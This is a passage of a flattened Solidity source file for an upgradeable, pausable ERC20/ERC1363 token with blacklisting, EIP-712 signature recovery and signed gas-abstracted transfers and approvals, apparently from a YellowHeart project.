function _authorizeUpgrade(address newImplementation) internal virtual;
}
// File contracts/common/BaseToken.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title BaseToken
*/
abstract contract BaseToken is
UUPSUpgradeable,
IERC165,
IERC20,
IERC20Metadata,
Ownable,
Pausable,
Blacklistable,
Rescuable
{
using SafeMath for uint256;
AppStorage internal appStorage;
event Mint(address indexed minter, address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 amount);
event MinterConfigured(address indexed minter, uint256 minterAllowedAmount);
event MinterRemoved(address indexed oldMinter);
event MasterMinterChanged(address indexed newMasterMinter);
function _msgSender() internal view virtual returns (address) {
return LibContext._msgSender();
}
/**
* @dev Authorizes the contract owner to perform a contract upgrade.
*/
function _authorizeUpgrade(address) internal virtual override onlyOwner {
this;
}
function implementation() external view returns (address) {
return _getImplementation();
}
function name() external view returns (string memory) {
return appStorage.name;
}
function symbol() external view returns (string memory) {
return appStorage.symbol;
}
function decimals() external view returns (uint8) {
return appStorage.decimals;
}
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return
interfaceId == type(IERC20).interfaceId ||
interfaceId == type(IERC20Metadata).interfaceId ||
interfaceId == type(IERC165).interfaceId;
}
/**
* @dev Internal function to mint tokens.
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint. Must be less than or equal
* to the minterAllowance of the caller.
* @return A boolean that indicates if the operation was successful.
*/
function _mint(address to, uint256 amount) internal returns (bool) {
address msgSender = _msgSender();
appStorage.totalSupply = appStorage.totalSupply.add(amount);
appStorage.balances[to] = appStorage.balances[to].add(amount);
emit Mint(msgSender, to, amount);
emit Transfer(address(0), to, amount);
return true;
}
/**
* @notice Amount of remaining tokens spender is allowed to transfer on
* behalf of the token owner
* @param tokenOwner Token owner's address
* @param spender Spender's address
* @return Allowance amount
*/
function allowance(address tokenOwner, address spender)
external
view
override
returns (uint256)
{
return appStorage.allowed[tokenOwner][spender];
}
/**
* @dev Get totalSupply of token
*/
function totalSupply() external view override returns (uint256) {
return appStorage.totalSupply;
}
/**
* @dev Get token balance of an account
* @param account address The account
*/
function balanceOf(address account) external view override returns (uint256) {
return appStorage.balances[account];
}
/**
* @notice Set spender's allowance over the caller's tokens to be a given
* value.
* @param spender Spender's address
* @param value Allowance amount
* @return True if successful
*/
function approve(address spender, uint256 value)
external
override
whenNotPaused
notBlacklisted(_msgSender())
notBlacklisted(spender)
returns (bool)
{
LibERC20._approve(_msgSender(), spender, value);
return true;
}
/**
* @notice Transfer tokens by spending allowance
* @param from Payer's address
* @param to Payee's address
* @param value Transfer amount
* @return True if successful
*/
function transferFrom(
address from,
address to,
uint256 value
)
external
override
whenNotPaused
notBlacklisted(_msgSender())
notBlacklisted(from)
notBlacklisted(to)
returns (bool)
{
return LibERC20._transferFrom(from, to, value);
}
/**
* @notice Transfer tokens from the caller
* @param to Payee's address
* @param value Transfer amount
* @return True if successful
*/
function transfer(address to, uint256 value)
external
override
whenNotPaused
notBlacklisted(_msgSender())
notBlacklisted(to)
returns (bool)
{
LibERC20._transfer(_msgSender(), to, value);
return true;
}
/**
* @dev allows a user to burn some of its own tokens
* Validates that amount is less than or equal to the caller's account balance
* @param amount uint256 the amount of tokens to be burned
*/
function _burn(uint256 amount) internal virtual {
address msgSender = _msgSender();
uint256 balance = appStorage.balances[msgSender];
require(amount > 0, "BaseToken: burn amount not greater than 0");
require(balance >= amount, "BaseToken: burn amount exceeds balance");
appStorage.totalSupply = appStorage.totalSupply.sub(amount);
appStorage.balances[msgSender] = balance.sub(amount);
}
}
// File contracts/lib/LibECRecover.sol
/**
*
*
* Copyright (c) 2016-2019 zOS Global Limited
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title ECRecover
* @notice A library that provides a safe ECDSA recovery function
*/
library LibECRecover {
/**
* @notice Recover signer's address from a signed message
* @dev Adapted from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/65e4ffde586ec89af3b7e9140bdc9235d1254853/contracts/cryptography/ECDSA.sol
* Modifications: Accept v, r, and s as separate arguments
* @param digest Keccak-256 hash digest of the signed message
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
* @return Signer address
*/
function recover(
bytes32 digest,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECRecover: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECRecover: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(digest, v, r, s);
require(signer != address(0), "ECRecover: invalid signature");
return signer;
}
}
// File contracts/lib/LibEIP712.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title EIP712
* @notice A library that provides EIP712 helper functions
*/
library LibEIP712 {
/**
* @notice Make EIP712 domain separator
* @param name Contract name
* @param version Contract version
* @return Domain separator
*/
function makeDomainSeparator(string memory name, string memory version)
internal
view
returns (bytes32)
{
uint256 chainId;
assembly {
chainId := chainid()
}
return
keccak256(
abi.encode(
0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f,
// = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
keccak256(bytes(name)),
keccak256(bytes(version)),
chainId,
address(this)
)
);
}
/**
* @notice Recover signer's address from a EIP712 signature
* @param domainSeparator Domain separator
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
* @param typeHashAndData Type hash concatenated with data
* @return Signer's address
*/
function recover(
bytes32 domainSeparator,
uint8 v,
bytes32 r,
bytes32 s,
bytes memory typeHashAndData
) internal pure returns (address) {
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", domainSeparator, keccak256(typeHashAndData))
);
return LibECRecover.recover(digest, v, r, s);
}
}
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363.sol)
interface IERC1363 is IERC165, IERC20 {
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
/**
* @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value) external returns (bool);
/**
* @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferAndCall(
address to,
uint256 value,
bytes memory data
) external returns (bool);
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value
) external returns (bool);
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value,
bytes memory data
) external returns (bool);
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 value) external returns (bool);
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(
address spender,
uint256 value,
bytes memory data
) external returns (bool);
}
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Receiver.sol)
interface IERC1363Receiver {
/*
* Note: the ERC-165 identifier for this interface is 0x88a7ca5c.
* 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))
*/
/**
* @notice Handle the receipt of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param from address The address which are token transferred from
* @param value uint256 The amount of tokens transferred
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
* unless throwing
*/
function onTransferReceived(
address operator,
address from,
uint256 value,
bytes memory data
) external returns (bytes4);
}
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Spender.sol)
interface IERC1363Spender {
/*
* Note: the ERC-165 identifier for this interface is 0x7b04a2d0.
* 0x7b04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))
*/
/**
* @notice Handle the approval of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after an `approve`. This function MAY throw to revert and reject the
* approval. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param owner address The address which called `approveAndCall` function
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
* unless throwing
*/
function onApprovalReceived(
address owner,
uint256 value,
bytes memory data
) external returns (bytes4);
}
// File contracts/lib/LibERC1363.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title ECRecover
* @notice A library that provides a safe ECDSA recovery function
*/
library LibERC1363 {
using Address for address;
using SafeMath for uint256;
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
bytes4 private constant INTERFACE_TRANSFER_AND_CALL = 0x4bbee2df;
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
bytes4 private constant INTERFACE_APPROVE_AND_CALL = 0xfb9ec8ce;
function _supportsInterface(bytes4 interfaceId) internal pure returns (bool) {
return
interfaceId == INTERFACE_TRANSFER_AND_CALL ||
interfaceId == INTERFACE_APPROVE_AND_CALL ||
interfaceId == type(IERC1363).interfaceId;
}
/**
* @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function _transferAndCall(
address to,
uint256 value,
bytes memory data
) internal returns (bool) {
address msgSender = LibContext._msgSender();
LibERC20._transfer(msgSender, to, value);
require(
_checkAndCallTransfer(msgSender, to, value, data),
"ERC1363: _checkAndCallTransfer reverts"
);
return true;
}
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function _transferFromAndCall(
address from,
address to,
uint256 value,
bytes memory data
) internal returns (bool) {
LibERC20._transferFrom(from, to, value);
require(
_checkAndCallTransfer(from, to, value, data),
"ERC1363: _checkAndCallTransfer reverts"
);
return true;
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param sender address Representing the previous owner of the given token value
* @param recipient address Target address that will receive the tokens
* @param amount uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(
address sender,
address recipient,
uint256 amount,
bytes memory data
) internal returns (bool) {
if (!recipient.isContract()) {
return false;
}
bytes4 retval = IERC1363Receiver(recipient).onTransferReceived(
LibContext._msgSender(),
sender,
amount,
data
);
return (retval == IERC1363Receiver(recipient).onTransferReceived.selector);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function _approveAndCall(
address spender,
uint256 value,
bytes memory data
) internal returns (bool) {
LibERC20._approve(LibContext._msgSender(), spender, value);
require(
_checkAndCallApprove(spender, value, data),
"ERC1363: _checkAndCallApprove reverts"
);
return true;
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(
address spender,
uint256 amount,
bytes memory data
) internal returns (bool) {
if (!spender.isContract()) {
return false;
}
bytes4 retval = IERC1363Spender(spender).onApprovalReceived(
LibContext._msgSender(),
amount,
data
);
return (retval == IERC1363Spender(spender).onApprovalReceived.selector);
}
}
// File contracts/common/ERC1363.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
abstract contract ERC1363 is IERC1363, Pausable, Blacklistable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return LibERC1363._supportsInterface(interfaceId);
}
/**
* @dev Transfer tokens from `msgSender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(to)
returns (bool)
{
return LibERC1363._transferAndCall(to, value, "");
}
/**
* @dev Transfer tokens from `msgSender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferAndCall(
address to,
uint256 value,
bytes memory data
)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(to)
returns (bool)
{
return LibERC1363._transferAndCall(to, value, data);
}
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value
)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(from)
notBlacklisted(to)
returns (bool)
{
return LibERC1363._transferFromAndCall(from, to, value, "");
}
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value,
bytes memory data
)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(from)
notBlacklisted(to)
returns (bool)
{
return LibERC1363._transferFromAndCall(from, to, value, data);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msgSender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 value)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(spender)
returns (bool)
{
return LibERC1363._approveAndCall(spender, value, "");
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msgSender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(
address spender,
uint256 value,
bytes memory data
)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(spender)
returns (bool)
{
return LibERC1363._approveAndCall(spender, value, data);
}
}
// File contracts/lib/LibGasAbstraction.sol
//
// keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)")
bytes32 constant _TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267;
// keccak256("ApproveWithAuthorization(address owner,address spender,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)")
bytes32 constant _APPROVE_WITH_AUTHORIZATION_TYPEHASH = 0x808c10407a796f3ef2c7ea38c0638ea9d2b8a1c63e3ca9e1f56ce84ae59df73c;
// keccak256("IncreaseAllowanceWithAuthorization(address owner,address spender,uint256 increment,uint256 validAfter,uint256 validBefore,bytes32 nonce)")
bytes32 constant _INCREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH = 0x424222bb050a1f7f14017232a5671f2680a2d3420f504bd565cf03035c53198a;
// keccak256("DecreaseAllowanceWithAuthorization(address owner,address spender,uint256 decrement,uint256 validAfter,uint256 validBefore,bytes32 nonce)")
bytes32 constant _DECREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH = 0xb70559e94cbda91958ebec07f9b65b3b490097c8d25c8dacd71105df1015b6d8;
// keccak256("CancelAuthorization(address authorizer,bytes32 nonce)")
bytes32 constant _CANCEL_AUTHORIZATION_TYPEHASH = 0x158b0a9edf7a828aad02f63cd515c68ef2f50ba807396f6d12842833a1597429;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)")
bytes32 constant _PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
/**
* @title Gas Abstraction
* @notice Provide internal implementation for gas-abstracted transfers and
* approvals
* @dev Contracts that inherit from this must wrap these with publicly
* accessible functions, optionally adding modifiers where necessary
*/
library LibGasAbstraction {
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
event AuthorizationCanceled(address indexed authorizer, bytes32 indexed nonce);
/**
* @notice Verify a signed transfer authorization and execute if valid
* @param from Payer's address (Authorizer)
* @param to Payee's address
* @param value Amount to be transferred
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _transferWithAuthorization(
address from,
address to,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_requireValidAuthorization(from, nonce, validAfter, validBefore);
bytes memory data = abi.encode(
_TRANSFER_WITH_AUTHORIZATION_TYPEHASH,
from,
to,
value,
validAfter,
validBefore,
nonce
);
require(
LibEIP712.recover(LibAppStorage.diamondStorage().domainSeparator, v, r, s, data) ==
from,
"GasAbstraction: invalid signature"
);
_markAuthorizationAsUsed(from, nonce);
LibERC20._transfer(from, to, value);
}
/**
* @notice Verify a signed authorization for an increase in the allowance
* granted to the spender and execute if valid
* @param owner Token owner's address (Authorizer)
* @param spender Spender's address
* @param increment Amount of increase in allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _increaseAllowanceWithAuthorization(
address owner,
address spender,
uint256 increment,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_requireValidAuthorization(owner, nonce, validAfter, validBefore);
bytes memory data = abi.encode(
_INCREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH,
owner,
spender,
increment,
validAfter,
validBefore,
nonce
);
require(
LibEIP712.recover(LibAppStorage.diamondStorage().domainSeparator, v, r, s, data) ==
owner,
"GasAbstraction: invalid signature"
);
_markAuthorizationAsUsed(owner, nonce);
LibERC20._increaseAllowance(owner, spender, increment);
}
/**
* @notice Verify a signed authorization for a decrease in the allowance
* granted to the spender and execute if valid
* @param owner Token owner's address (Authorizer)
* @param spender Spender's address
* @param decrement Amount of decrease in allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _decreaseAllowanceWithAuthorization(
address owner,
address spender,
uint256 decrement,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_requireValidAuthorization(owner, nonce, validAfter, validBefore);
bytes memory data = abi.encode(
_DECREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH,
owner,
spender,
decrement,
validAfter,
validBefore,
nonce
);
require(
LibEIP712.recover(LibAppStorage.diamondStorage().domainSeparator, v, r, s, data) ==
owner,
"GasAbstraction: invalid signature"
);
_markAuthorizationAsUsed(owner, nonce);
LibERC20._decreaseAllowance(owner, spender, decrement);
}
/**
* @notice Verify a signed approval authorization and execute if valid
* @param owner Token owner's address (Authorizer)
* @param spender Spender's address
* @param value Amount of allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _approveWithAuthorization(
address owner,
address spender,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_requireValidAuthorization(owner, nonce, validAfter, validBefore);
bytes memory data = abi.encode(
_APPROVE_WITH_AUTHORIZATION_TYPEHASH,
owner,
spender,
value,
validAfter,
validBefore,
nonce
);
require(
LibEIP712.recover(LibAppStorage.diamondStorage().domainSeparator, v, r, s, data) ==
owner,
"GasAbstraction: invalid signature"
);
_markAuthorizationAsUsed(owner, nonce);
LibERC20._approve(owner, spender, value);
}
/**
* @notice Attempt to cancel an authorization
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _cancelAuthorization(
address authorizer,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_requireUnusedAuthorization(authorizer, nonce);
bytes memory data = abi.encode(_CANCEL_AUTHORIZATION_TYPEHASH, authorizer, nonce);
require(
LibEIP712.recover(LibAppStorage.diamondStorage().domainSeparator, v, r, s, data) ==
authorizer,
"GasAbstraction: invalid signature"
);
LibAppStorage.diamondStorage().authorizationStates[authorizer][nonce] = AuthorizationState
.Canceled;
emit AuthorizationCanceled(authorizer, nonce);
}
/**
* @notice Check that an authorization is unused
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
*/
function _requireUnusedAuthorization(address authorizer, bytes32 nonce) private view {
require(
LibAppStorage.diamondStorage().authorizationStates[authorizer][nonce] ==
AuthorizationState.Unused,
"GasAbstraction: authorization is used or canceled"
);
}
/**
* @notice Check that authorization is valid
